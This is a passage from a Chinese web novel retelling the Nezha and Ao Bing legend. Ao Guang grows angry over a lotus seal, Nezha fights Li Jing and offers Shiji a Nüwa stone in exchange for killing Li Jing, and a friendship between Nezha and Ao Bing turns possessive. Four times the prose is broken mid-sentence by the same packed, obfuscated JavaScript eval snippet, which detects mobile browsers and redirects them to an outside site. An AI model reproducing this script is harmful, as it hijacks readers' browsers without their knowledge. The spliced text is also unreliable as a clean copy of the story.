“而且,他也是为了保护儿臣,才、才……”沈何小心觑着敖光的表情,心道不就是一枚法印,怎么敖光像白菜被猪拱了一样,“父王,您为什么生气呀?” 他瞒得了一时瞒不了一世,敖光那么生气,要是用什么手段查到了哪吒,又去找李靖,岂不是要重演悲剧?! 他得问清楚了,说不定和敖光好生解释一番,便能叫他息怒。 敖光斜他一眼,伸手揪住他的面皮轻轻扯了扯,“你呀!” 沈何捂住自己无辜的脸颊肉。 “你且将今日岸上发生的事一并告诉我,”敖光压着眉头看他,不留余地道,“否则就算你不说,为父也有的是办法查出来!” 红莲法印,世上能留下红莲法印的有几人?敖光一旦想到某种可能,才压下去的怒火便复燃重烧,恨不得让他立马就冲去陈塘关把那贼小子揪出来揍一顿才好! 沈何欲哭无泪,仍不死心地问:“若儿臣说了,父王待如何?” 敖光垂眼睨他,“把那人抓出来杀了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496195|170201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈何心如死灰,如同被霜打的茄子,“若儿臣不说呢?” 敖光冷哼,“那为父就查个底朝天,把人抓出来杀了。” 沈何:“……您是东海龙王,怎的动不动就打打杀杀的。” 敖光气得点他的脑袋,“你这性子被人卖了都不知道,快老实交代!” 沈何张了张唇,还没想好说辞,只听正殿外一龙兵慌里慌张地跑进来,“大王不好了!” 敖光本就气不打一处来,“怎么了?” “有、有人在东海海面上打起来了!”龙兵道,“海边的兄弟姐妹遭了殃,只得到龙宫求庇护。” 东海龙宫有敖光的结界作挡,一时不会被波及;但能让龙宫周遭的水族逃来找敖光,说明海上争斗的人必然非凡人。 敖光长眉拧紧,“来人,带三殿下回殿歇息。” 东海上有人打架,会不会和哪吒有关?沈何连忙道:“父王,我也去!” “你就在龙宫好好待着,若你出宫一步,明日为父就去扒了哪吒的皮!”敖光话落的瞬间便化作一条硕大强悍的青龙,眨眼就消失在沈何眼前。 ——敖光怎么会知道是哪吒? 沈何提步要追上,却又被一道白袖挡住去路。 “秋先生,”沈何抿了抿唇,垂下眼睛,“我……我不出海,只在近处看看。” “不可。”秋汝生周正的面容严肃冷漠,居高临下地看着沈何,“回去。” — 海面狂风如啸,海水被强大的力量击溅起浪卷,又像雨水落下,恍惚间仿佛天地骤暗,雷雨云集。 “逆子,老子可是你父亲!”身着甲胄的中年男人连连躲过红衣少年的杀招,他体力已有不支,不得不出言“唤醒”对方的理智,“你要弑父不成?” 哪吒眉眼如冰,“未尝不可。” 李靖不想他半分情面不留,“你!” 不等他再多威胁的话说出口,哪吒似影似繁的招法已至,李靖只得狼狈闪躲,突闻一声叮铃,如磐石大的金环朝他飞来——是乾坤圈!哪吒真的要杀他! 眼见乾坤圈要打至李靖胸口,地面忽传来一声,“哪吒,休要胡来!” 乾坤圈偏移一寸,掷在李靖胳肘和躯干之间,将其定在沙地上。 “老爷!” 殷素知急忙上前要扶起李靖,却被乾坤圈金光一挡,不得再上前半步。 “看看你教的好儿子!”李靖非但不领情,对殷素知怒道,“他要弑父!还说他不是怪物——” 眨眼间,乾坤圈不知何时回到哪吒手中,哪吒已鬼魅幻影般移至地面,乾坤圈直指李靖,惊得他霎时噤了声。 “哪吒!”太乙真人拂尘一挑,乾坤圈便缩回手镯大小套回了哪吒腕上,他疾步挡在李靖夫妇身前,“这是你的生身父母,你究竟要做什么?!” 哪吒嗤了一声,似笑非笑道:“我还没用混天绫呢。” 太乙真人:“……” 言下之意,他要真对李靖下死手,早该直接用混天绫将其束缚,那可不要杀要剐随哪吒便吗? 天菩萨诶! 5. 第 5 章 “真人您看看他,哪有一个七岁孩子的样子?”李靖被殷素知搀着站起来,有太乙真人在,他好像就找到了靠山似的,指着哪吒数落道,“样貌不像正常孩子就罢了,性子又恶劣不堪,整日就知道惹祸事……” 哪吒冷眉一竖,李靖的声音便弱了下去。早在前世他就看穿了李靖的虚伪懦弱之处,一面要装严父摆父亲的架子,一面又恐惧妒忌灵珠的力量,彻头彻尾一个小人。 太乙真人头疼道:“好了,李总兵先同殷夫人回府罢,哪吒便交给老夫说道。” “这……!” 太乙真人是哪吒的师父,向来护着哪吒,倘若李靖走了,恐怕都不会责斥哪吒半句。 殷素知暗暗拽了拽李靖的胳膊,李靖虽面色不愉,到底甩了袖袍愤愤离去。 太乙真人无奈叹了口气,“他又怎的招惹了你,才叫你要和他打个你死我活了?” “晚回去了一个时辰,要罚我跪。”哪吒皱眉,要他还是从前七岁的孩子恐怕李靖说什么就是什么了,可惜他这副壳子里的魂魄早就换了,“我不跪,他就要取家法打我,我不从。” 所以就打起来了。 “这李靖也是的,孩子贪玩正常,你又不曾惹事。”太乙真人又摆了摆脑袋,突然想起什么,问,“你前几日问为师有没有重塑肉//身的法子,难道……?” “身体发肤受之父母,”哪吒抬眼看向他,扯唇道,“既然他日日拿父亲的身份压我,那我宁愿剔去肉骨,也要和他划清界限。” 太乙真人一惊,“这怎能行,不行不行,风险太大……” “我意已决,”哪吒说,“师父不愿告知我办法,那我只好先祭了肉//身,再寻它法了。” 太乙真人:“……” 倒不是哪吒胡搅蛮缠,前世他因杀了海夜叉和龙王三太子被天庭降罪,最终以剔肉还骨之结局了却风波,就天意来说,这是他命中一劫。 哪怕他今生不欲再和东海结仇,天要他死,他便得死上一次才算顺天意。 “为师替你观过命数,你在七岁这年确有一生死劫。”太乙太知道哪吒的性子了,只好松口道,“为师虽有重塑肉//身之法,可你也不能自毁肉//身,这会坏了因果呀!” 哪吒沉默,问:“什么因果?” 太乙却无论如何也不能说,“此乃天机,该知道的时候就会知道——这些日子你且安心在府里修炼,莫要想旁事。对了,你体内突然爆发的灵力为师有了些头绪,喏。” 他从袖中掏出一只玉环来,“有了这个,你就能压制力量变回孩童模样了。” 玉环落到哪吒手中,瞬间连上他的心神,少年心念一动它便从手镯缩成了指戒大小。 “算了,”哪吒半垂下眼皮,把玉戒收进怀里,“我已习惯如今的样子了。” 自从哪吒灵力不受控变成少年模样后,似乎连心性也变了不少。太乙其实还不太习惯过去咋咋呼呼的小孩转眼就成了成熟理智的美少年,不由讪讪道,“都随你。现下事已了结,你不回家去?” “不回了。”哪吒状似无意地瞥了一眼平静的海面,忽然说,“等白日我要去骷髅山一趟,若我娘问起,劳烦师父转告。” 太乙迷惑,“那骷髅山有石矶坐镇,你要作甚去?” 骷髅山也没什么仙草法宝,哪吒更是和石矶八竿子打不着。太乙捋了捋胡子,心道别哪吒跑去同人打起来,他还得去收拾摊子。 “总之不会给师父惹祸。” 哪吒微不可察挑了下眉,虽说前世他用乾坤弓震天箭无意射杀了石矶的弟子,不过今生他与石矶无冤无仇,不至于再结梁子。 “好罢好罢,”太乙摆了摆手,就算惹祸了又能怎的,“为师洞府里还炼了兵器,不与你多说了。”话罢太乙拂尘一扫,人影就消失不见。 悬月当空,月光将静海照耀得泛起粼粼波光。哪吒淡声开口:“龙王看了许久,还不出来一叙么?” 敖光自树后现身,轻呵道:“你倒是比你师父的感力还要好。” “师父并非没有察觉,”哪吒说,“只是龙王找的是我,他倒不好点明了。” 敖光双眸定定在他身上瞧了片刻,笃定道:“你不是李哪吒。” 哪吒侧眼睨向他,连太乙真人都难看出他魂魄的端倪,敖光竟能一眼看穿? “本王活了几万年,你师父看不见的天机,本王能。”敖光似是知道哪吒的想法,破天荒解释道,“你的神魂显然不是这个时期的哪吒……你从何时来?” 哪吒顿了顿,道:“成神后。” “成神后……”敖光略一思索便明白了敖丙额间的红莲从何而来,他虽知道是哪吒的手笔,却不想竟是封神后的哪吒,“既然如此,你在我儿身上留下法印,究竟为何?” 哪吒和太乙的谈话他也听了去,哪吒要重塑肉//身还是做其他什么都和东海无关,他今日特意等着,就是要问个说法。 他们家敖丙听话懂事,必是这个混小子心生歹意,要将他家的小龙拐了去! “……他送我响螺,我报之以李而已。”哪吒的眸光在月色下晦暗不明,“我倒还想向龙王讨教一事。” 他说的坦荡,敖光一时不好发作,只好捺住性子问:“什么?” “我见到的敖丙,似乎与我从前所见的大相径庭。” 哪吒目不转睛地盯着敖光有些僵住的脸,“不知此事龙王何解呢?” …… 迫于秋汝生的威压,沈何使劲浑身解数也没能逃到龙宫外去。 他一边忧心在东海上打架的到底是不是哪吒,一边又怕敖光探查之余要去陈塘关找哪吒的麻烦,于是心不在焉地趴在贝壳床上唉声叹气。 哪吒没有吹他送的响螺,他也不敢贸然催动法印——万一哪吒有正事,反倒是他使哪吒分心了怎么办? “……三殿下?” 耳边突然响起蚊子般的呼唤,沈何瞟了一眼水晶珠帘外秋汝生的背影,小心往床边蹭了蹭,果然在贝壳下看见一只拇指大小的红螃蟹。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496196|170201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他伸出一根指头,让小螃蟹攀上,然后把它放到自己耳边。 “属下偷摸看过了,确实是那个红衣服小子在打架。” 沈何紧盯着秋汝生的身形,生怕他有所察觉,从唇缝里挤出一句话,“和谁打,战况如何?” 哪吒那么厉害,应当是迎刃有余的吧? “好像是和陈塘关的李总兵,”红螃蟹说,“原来殿下每日去看的那个红衣小子就是哪吒啊!” 方圆百里谁没听过陈塘关哪吒的威名,但听过归听过,除非见面先报大名,否则谁认识谁是谁。要不是哪吒和李靖打斗的时候李靖连连叫唤,红螃蟹还难以回来禀报那么明白。 “两人打得难舍难分,后来哪吒一个金圈朝李总兵掷去,被一个白胡子老道拦了。”红螃蟹讲得绘声绘色,“哪吒十分听那白胡子的话,放李总兵和他夫人归家了。” 白胡子老道……应该是哪吒的师父太乙真人吧?沈何微松一口气,起身拉过雪丝薄被把自己裹起来,冲着外头扬声道:“师父,我要睡啦!” 秋汝生淡淡应了一声,大概是没发觉小螃蟹的存在。沈何借着被子遮住唇,一并将小螃蟹掩了,悄声追问:“那我父王回来了么?” 红螃蟹说:“似是未归。” 那不好了,要是父王再和哪吒打起来该如何是好?沈何心下焦灼,敖光待他很好,哪吒也不是不分青红皂白的坏人……但最主要的是,哪吒的乾坤圈和混天绫那般强悍,要是敖光难敌又怎么办? 他抱着被子轻轻翻了个身,如果此时他化作小虫大小偷飞出海…… “敖丙。”秋汝生仿佛背后长了眼睛,耳朵镶了读心术,“不是说要睡了么?” 沈何:“……” 偷偷逃出去是行不通了,沈何想了又想,驱动法诀唤醒了额间的红莲。 既然哪吒已经打完架了,他问一问应当也无妨……若是不巧哪吒在和他爹鏖战,说不定他还能说说情。 红莲法印微微发热,像是哪吒给予了回应。沈何试探着用神识唤了一声,“哪吒?” 少年温柔沉稳的声音传回,“嗯,在。” 听起来不像在打架。沈何不由雀跃,“你还好吗,吃过饭了吗?” 东海海畔,敖光眼神死死盯着红衣少年忽明忽暗的手心,少年掌心之中,赫然是与他儿眉间一般无二的红莲。 一股凄凉的悲戚感油然而生,敖光咬牙问:“可是我儿?” 哪吒将那朵红焰火莲握在手心,沉默代表了一切。 龙宫里的沈何浑然不觉岸上是何等情景,仍在绞尽脑汁多关心哪吒两句,“……你什么时候睡觉呀?” 其实私心他想问一问哪吒和李靖大战有没有受伤、亦或是哪吒有没有见到敖光,敖光有没有为难他。但沈何又不想叫哪吒觉得自己在“监视”他,只能拐弯抹角地问候。 “我没事。”哪吒仿佛才是那个窥探了所有的人,“也没受伤。你爹马上就回去。” 沈何:“……噢。” 6. 第 6 章 天露鱼肚白时,哪吒从冥神中抽离,以捧叶为杯,借东海之水洗漱一番,然后靠在岸边的岩石边,似在等待什么。 “哪吒!” 欢欣清亮的声音自不远处传来,哪吒掀眼去看,少年今天穿了一身淡青衣裳,衣襟上缀着青蓝的碎玉,腰间拢了一条珍珠带,手腕上叠戴了两只银镯,跑起来叮铃叮铃的响,像家底厚实、被精心养着的小少爷。 “你真的没事吧,昨晚我爹有没有找你麻烦啊?”沈何恨不得长八双眼睛把哪吒上上下下都检查一遍,“都怪我,我也不知道父王怎么就看出是你送我的法印了……” “没关系,”哪吒摩挲着指尖,轻声道,“东海龙王……很好相与。” 沈何:你见到的是真敖光吗? 他把到嘴边的质疑硬生生咽了回去,转移话题道:“你一早唤我来是有事找我吗?” 虽然沈何看着是兴致冲冲地来了,可背地里不知道打了多少个哈欠——哪吒起床未免太早了,早到敖光和秋汝生都没起,所以沈何没有一点阻拦地就出来了。 “我有事要离开几日,这些天都不会到东海了。”哪吒说,“你我已是好友,我想合该告诉你一声。” 哪吒真的把他当好朋友了!沈何有些受宠若惊,眼睛亮亮的看着他,“好,我知道了!” 他什么心思都写在脸上,哪吒失笑道:“不好奇我要去哪?” 这是他可以知道的吗?沈何犹豫,“这是可以告诉我的吗?”会不会显得他管得太宽了? “当然可以。” 哪吒比他的身量高,闻言俯身和少年的视线平齐,“我们是好友,好友之间,连秘密都是相互知道的,只是问一问我去何处又有何妨。” 可他们不是才认识了一天吗,沈何懵懂地点了点头。 “小乖,我可以这样叫你吗?”哪吒眼含笑意,热热的指腹撩起沈何脸侧的发丝为他别到耳后,“我听陈塘关里结伴的好友,都会给对方起昵称的。” 沈何神情微顿,原本升起的怪异情绪被他一句话冲散,微不可察地嗯了一声。 好吧,他在现代住院的时候好像听过别人的亲朋好友互叫亲昵的称呼。再者像敖光平时和他讲话,也会叫他“丙儿”而不是大名敖丙。 虽然哪吒起的这个小名……听起来有点羞耻。 哪吒的指尖顺势掠过他微红的耳尖,眼睫垂下,似是有些失落,语气却仍旧温柔,“是不喜欢吗,没关系,我可以再……” “不不是,喜欢的,你可以这样叫。”沈何莹白的耳廓更红了几分,像浸染了桃花汁般,粉意甚至流连至他眼尾,“我没有不喜欢。” 他想哪吒好不容易想出一个昵称,主动提出要这样唤他和他拉近关系,他怎么能挑三拣四的……作为好朋友,他应该欣然接受才是。 哪吒笑意更深,循循善诱道:“那小乖要怎么叫我呢?” 既然你是好友间的昵称,理应礼尚往来。 沈何果然思索起来,眉头不自觉蹙在一起,“……小哪?小吒?哪哪?吒吒?” 哪吒:“……” 少年观察着对方的表情,总觉得他说一个,对方噙在嘴角的笑就僵硬一分,不禁道:“你别急,那我再想想。” “就叫哪吒也很好。” 有个称呼在他舌尖滚了一圈,到底没说出口,哪吒神情自然地重复道:“就叫哪吒吧。” 小龙心性简单,他还不想那么早吓着他。 “可是你都给我起了小名,我也应该给你起的。”可惜沈何在这方面经验少得可怜,只好说,“你再给我一点时间……这样,你回来之后我告诉你,好不好?” 哪吒说:“好。” “那你到底要去哪呀?”大概是哪吒先表示了亲近,沈何有意保持的距离感也随之抛弃,“多久回来呢?” 哪吒直起身垂眼望着他,“骷髅山,拜访一个故人。” 沈何脸色微变。 骷髅山不是石矶娘娘的住处吗,按照封神演义的叙述,哪吒在抽了敖丙的筋后被李靖关在家中后院,然后不慎用乾坤弓射死了石矶娘娘的弟子彩云童子,石矶娘娘大怒…… 眼下哪吒却说,他要去骷髅山拜访故人。 “快则今夜便能回来,慢则两三日,不必忧心。”哪吒道,“待我归来,便到此处吹响响螺,来见你。” 可是……沈何被突如其来的变故弄得有些心乱如麻,下意识拽住哪吒的指节,“哪吒,你、你……” 少年结巴半晌憋不出一个字,哪吒眸中闪过深思,很快掩盖在平静的神色下,“怎么了?” 沈何脱口而出,“我能不能和你一起去?”如果发生了什么,或许还能及时挽回。 他不想被扒皮抽筋,同样的,他也不想看到哪吒重演剔骨削肉的悲剧。 “你不是说龙王不允你离开东海百步之内么?”哪吒轻轻回握住他的手,像是看出了他的不安,安抚道,“我很快就回来,不会有事的。” “我听父王说过,骷髅山有石矶娘娘坐镇,”沈何动了动唇,双眼担忧地望着他,“若是惊扰了她,恐怕……” 原来是担心这个,哪吒说:“我要拜访的故人,便是石矶。只是想问些往事,又不是去捣她老巢,怕什么。” 原著你不仅捣了人老巢,你师父太乙真人还把人家关九龙神火罩里炼了。沈何欲言又止,千言万语化作一句,“那你要注意安全。” 看眼前哪吒的样子,沈何其实很难将他和封神原著的哪吒联系到一起。既然哪吒已经打定主意,应该是自有盘算,他就不要插手了。 临分开之际,沈何到底有些放心不下,小声道:“要是有什么事你也可以吹响螺,我叫我父王去帮你。” 敖光不趁机扒了他的皮就不错了,哪吒揉了揉沈何的脑袋,“好。” 他似也想到了什么,嘱咐道:“我不在的时候,你尽量不要离开龙宫,外面不安全。” 哪吒不仅给他取小名,还会主动关心他,沈何备受感动,觉得自己的龙筋已经成功保住了,“我听你的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496197|170201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>约莫是小龙格外乖巧取悦了他,哪吒眉眼愈发柔和,说:“好,我看着你回龙宫了再走。” 敖丙那么听话,倒真叫他生出几分将人带走的心思,只是时机不对,又有敖光横亘在中间,不好作为。 沈何本就是为见他而来,哪吒要走他自然该回去,谁先走都一样。他最后踮脚搂住红衣少年的脖颈抱了一下,轻轻道:“那我走啦,等你回来。” 话落他便念了法诀,化作青影消失在海面。 哪吒在原地怔了两瞬,沈何身上的莲香恍若轻飘的薄纱落在他鼻尖,仿佛那一瞬间沈何不是在告别朋友,而是在和满心挂念的夫君依依惜别。 然后乖巧的、像妻子那样等着哪吒归来。 …… 东海龙宫。 敖光白日忙于政务,是没有闲工夫管沈何的,这个时辰估计已起床飞到东海的哪个地方去视察了。 沈何大摇大摆地回到寝殿,视线不经意扫到殿里坐着的两个身影,霎时恨不得自戳双目。 太阳都出来了,他爹怎么还会在??? 还有一个秋汝生。 沈何皱了皱鼻子,八成是秋汝生没在寝殿找到他所以去和敖光告状了。 他愿称此举为秋汝生的拿手好戏,就是特别讨厌。 沈何捏了捏袖子,犹豫两秒便说服了自己。 反正胳膊拧不过大腿,当头一刀缩头也是一刀,敖光和秋汝生等在他寝殿就是为了堵他,还不如光明正大地进去。 他又没做什么亏心事。 沈何一面这般催眠自己别心虚,一面慢吞吞磨蹭到两人跟前行礼,“父王、师父。” 不看不知道,一看敖光的脸色竟比昨晚还要吓人,眼中仿佛有风暴凝聚,“你又去见那小子了?” “儿臣同他是好友,他说有事要离开,特地知会儿臣一声。”沈何抿了抿唇,心道敖光活了那么久总有几个知己好友吧,侧面说明他去和哪吒告别是很正常的呀,“儿臣出宫没有提前告知父王,是儿臣的错。” 再者哪吒虽是远近闻名的小霸王,可他们只是交个朋友,哪吒待他温和有礼,他不懂敖光为什么是一副如临大敌的模样。 心里的天秤不知不觉倒戈,沈何抬眼小心翼翼地去看敖光,敖光却面露不忍,撇开眼不看他。 这又是怎么了?沈何不解,扭头又对上秋汝生深沉阴冷的视线,忙不迭地垂下眼皮,免得被秋汝生魔法攻击。 秋汝生缓慢问:“敖丙,你说你与哪吒是好友?” 这秋汝生也不知道给敖光灌了什么迷魂汤,他说什么敖光信什么,不让沈何离开东海百步也是他出的主意。 明明封神里没听说过这号人物。 而且秋汝生特别爱说长篇大论,仁义礼智云云,这也说教那也说教,烦人得紧。 沈何压下心底的不满,点了点脑袋。 “你可知那哪吒是谁,他虽是灵珠子转世,却生来负有千七百杀劫,而你,敖丙!”秋汝生沉声道,“你就是他杀劫的开端!” 7. 第 7 章 骷髅山,白骨洞。 巍峨峻岭间有飘雾缭绕,一素衣童子疾步进了洞府,对宽椅上支额假寐的黑裳女人道:“娘娘,洞外有个小子来见。” 石矶掀了掀眼皮,“谁?” “说是叫哪吒,师父是乾元山金光洞的太乙真人。”彩云童子一板一眼回道。 太乙的徒弟,大老远跑到她骷髅山作甚? 石矶坐直身来,道:“让他进来罢。” 彩云童子得令去唤,不消多时便领着一俊丽少年进洞。石矶眉尾一挑,慢悠悠问:“你就是哪吒?” 哪吒淡淡颔首,又听石矶道:“本座依稀记得,陈塘关总兵李靖的三子也叫哪吒,你可是李靖的儿子?” 哪吒轻呵一声,没有回答。他到此处不是同石矶叙旧交好的,于是翻掌化出一块顽石,道:“你可认得此物?” 好一个毛头小子,不知轻重不请自来,竟还对她颐气指使。石矶冷嗤一声,本欲发难,却在视线落在那块石头上愣住,一时发不出声。 只刹那她便反应过来,下意识拍椅而起飞身去夺。哪吒早有预料,轻飘飘地躲过她的招式,转眼就站在了洞口处。 “我今日来,是要与你做个交易。”哪吒对上她恨不得眸如喷火的眼睛,脸上露出一丝桀骜,“若你非要动手,谁生谁死可说不准。” 这红衣少年在石矶眼里不过是根脆生生的嫩笋,除了身上有几件太乙的宝贝不足为惧,然见了他方才的从容躲闪,石矶反倒心生忌惮。 她是打定了主意去夺那石头,是故没存试探的心思,只盼一举必得,连太乙来此都不一定能衣袍不动地闪开。 但哪吒眉眼不惊,让得那么轻易。 此子绝非常人。 石矶暗暗隐去杀招,眸光紧锁在少年指间随意把玩的石头上,半晌道:“你要和本座谈什么?” “你修炼多年,却始终难修正果,才会屈居这荒无人烟的骷髅山,对否?” 石矶一瞬不眨地看着哪吒闪影便坐上了她的宝座,仿佛他才是这座山头的主人。 彩云童子和碧云童子皆露惊惧之色,上前要将人拦下来,石矶却阴沉着脸命他们退下。 她看着哪吒道:“你到底是什么人?” 石矶的来历在前世太乙真人和哪吒提过。石矶乃顽石成精,是为截教子弟,虽修道千年不成果,但实有道行。哪吒浑不在意地将手中的石头抛起又接住,“早已自报家门,娘娘何必再问。” 石矶冷笑:“你莫不是戏耍本座,特地来我这白骨洞耍威风的?” 哪吒眉尾轻扬,又问了一次,“我手中之物你不认得?” 石矶狭了狭眸,不语。她修行千年什么没见过,却看不出哪吒手里那块石头的来历,偏偏那石头内有磅礴精纯之灵力,若她得之,修行必然突破,否则她又怎会容忍一个小子在她洞中撒野。 哪吒说:“此乃女娲石。” 女娲石!他怎么会有女娲石? 传言祝融共工撞倒不周山后捅破了天,一时生灵涂炭民不聊生,女娲娘娘为救苍生,炼出三万六千五百零一块石头补上天窟,却余有一枚未用…… “黄口小儿!”石矶想也不想便曲掌而上,法力凝集直打哪吒而去,“你敢耍老娘!” 哪吒又是闪身躲了,语调平稳道:“我千里迢迢来,你为何不信?” “女娲石乃天上地下绝无仅有,怎的就这般巧落到你手里?”石矶出招凌厉飞速,嗓音尖利道,“有本事就和本座一战高下!” “那你又可知我乃灵珠子转世,”哪吒信手挡去她一招,淡淡道,“这女娲石与我一同降世,有何稀奇。” 石矶眼神微变,杀招停顿一瞬,就见哪吒将石头收了起来。 “无论如何,这石头能助你精进修行,而我要以此同你做的交易是——” “杀了李靖。” …… “你要执迷不悟,从此刻起便只能待在寝殿,哪也不许去!” 沈何蜷在贝壳床一角,脑海中不断回想起昨日敖光和秋汝生说的话。 哪吒杀劫的开端,是敖丙,是现在的他。 可哪吒和他相处的时候明明并无杀意,而且是真心把他当朋友看待,那般温柔亲昵,怎么会杀他呢? 沈何不禁蹙眉,眼下敖光将他禁足,倘若哪吒回来到东海寻他,又该如何? “三殿下,该用膳了。” 虾兵正要把膳食放到水晶案上,就听鲛纱帐内传来一声“我不吃,端走吧。” 三殿下嗓音有些沙哑,恐怕是还在生龙王禁足他的气,从昨日到现在滴水未进。虾兵无奈叹气,却还是把食盒留下,以防三殿下饿得不行了没饭吃。 帐内,沈何仍缩成一团思索着法子。他倒不是想靠自虐博同情好让敖光放他出去,而是想不到办法实在没胃口。 退一万步来说,敖光不许他上岸和哪吒交朋友姑且算小事,要是哪吒几次三番找不到他发怒把东海拆了…… 太糟糕了。 他思虑过盛,没注意到“哪吒”二字在他心中反复惦记咀嚼,眉间红莲像感受到召唤般已现出淡淡印记。 按秋汝生所说,他算出敖丙有此一劫,又受过敖光的恩惠,才特地到东海只为护敖丙周全。而沈何所知的剧情中,敖丙又是因哪吒浣洗乾坤圈混天绫到外探查才被抽了筋。 那他已经阻止了哪吒在九湾河洗宝物,避免了龙宫震荡,哪吒便没理由杀他了。 ……难道他非要死在哪吒手中应验杀劫才算数么? “小乖。” 哪吒的声音措不及防出现在脑海中,沈何陡然一惊,惶惶坐起身才意识到是眉间红莲起了作用,下意识道:“怎、怎么会?” 哪吒似有疑惑,“什么?” “……我没有催动法印,”沈何轻声回道,“不知怎的连到了你那边。” 哪吒笑了笑,“许是你在心里惦记我,被法印错听了。” 虽然哪吒看不见,但沈何还是闹了个红脸,不由抱住雪丝被把脸埋在膝上,转而问:“你已办完事情了么?” 哪吒道:“嗯,在回去的路上了。” 这么快。沈何无意识咬住唇瓣,看敖光和秋汝生的架势短时间不会允他出龙宫,只能犹豫开口道,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496198|170201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪吒。” 哪吒又“嗯”了一声作为回应。 “我…这两日有些不舒服,”沈何斟酌着说,“可能你回来我没办法到岸上见你了。” 那边的人顿了顿,半晌才道:“生病了么,哪里不舒服?” “头晕,想吐。”沈何愧疚地垂下眼帘,他不想欺骗哪吒,可也不想忤逆同样待他很好的敖光,这是他能想到最为折中的办法了,“在海里休养几天就好了,没有大事。” 如果他当真身体有恙,法印会有所感应。 远在千里外的哪吒面色微沉,眸光在日头下竟也映出几分晦暗,像是泼了散不尽的墨。 他只离开了一天有余,小乖为什么突然对他说谎。 少年不动声色道:“没关系,身体不舒服就要好好休息。” 法印连接另一头的人似乎无声松了口气。 哪吒凤眸轻狭,嘴角挑起一丝笑,眼中却不见分毫笑意,像一条满腹毒液随时准备进攻的蛇,嗓音状似温柔道:“不过,你虽不能到岸上见我,但我可以入海寻你。” 对方轻软的声音微惊,“哪吒,这不用吧,待我病好会去……” “我们是最要好的朋友,不是吗?”哪吒笑意盈盈,“小乖,我只有你这一个朋友。得知你卧病在床,我自是会担心得辗转反侧,夜不能寐。” 沈何想要反驳阻拦的话无力弱了下去。 哪吒把他看得那么重要吗? “若不让我见到安好的你,我又怎么安心做事呢。” 哪吒仿佛感受到他的牵强纠结,缓缓叹了口气,使出了杀手锏,“朋友之间,不是要互相关心照应吗?” 沈何被一击即中,彻底没了话术,干巴巴道:“但我父王不喜外人到龙宫里来。” “是我登门拜访,自然由我想法子,你不必操心。” 此时虽还未到太乙赠他风火轮的时间,但哪吒有术法加持,脚程极快,和沈何一来一回说话间已临近陈塘关了。 他安抚般对沈何说:“你只需等着我。” 真的可以吗……沈何被他说得很心动,可又怕两人届时打起来,“可若你与父王因此生了龃龉,不慎伤了谁,我……” 哪吒神情微动,依沈何的性子,不会突兀地、毫无理由地对他避而不见。 就算沈何身世成谜,又有很大可能知道许多前世往事,可哪吒既没伤他也没害他,显然沈何早对他放下戒心了。 倏地这般,恐怕是有人不想让小乖见他。 “我答应你,不会同龙王动手。”哪吒微微摩挲着掌心栩栩如生的红莲,似乎越过莲朵抚上了谁的面颊,“你只管乖乖养病,好好歇息。” 单看沈何犹疑不定的态度,不消多想他便猜到其中阻挠之人是谁。 敖光不让他和小乖接触,莫不是有所察觉什么…… 哪吒无声无息地回到陈塘关帅府家中,取了焚香沐浴。 红莲法印的相连还未断开,他沉入热水中,嗓音也如同蒸出了暖烟,有几分缥缈,又有几分暧昧。 “小乖想好如何唤我了么?” 给他独属的昵称。 8. 第 8 章 幽蓝的水色波荡在眼前,哪吒眸光闪了闪,心念一动便移步至龙宫前。 前世他虽与东海结下深仇,但东海龙宫却不曾踏足。 按太乙真人的话说,龙宫位于深海之中,且有敖光法术庇护,寻常人莫不说找到龙宫,就是入海深了都会爆体而亡。 不过太乙什么没有,宝贝最多。哪吒找上金光洞说明用途,他便唉声叹气一番,从乾坤袋里摸出一枚避水丹。 “至于那龙宫在何处,为师也爱莫能助。”太乙真人煞有其事地摇晃着脑袋,“传说,只有东海龙王想叫那人找到的时候,龙宫才会出现。” 说得那叫个神乎其神,哪吒指腹抚过颈间被他的体温浸热的响螺,不由眼中掠过笑意。 敖光千防万防,没防住自己的亲儿子。 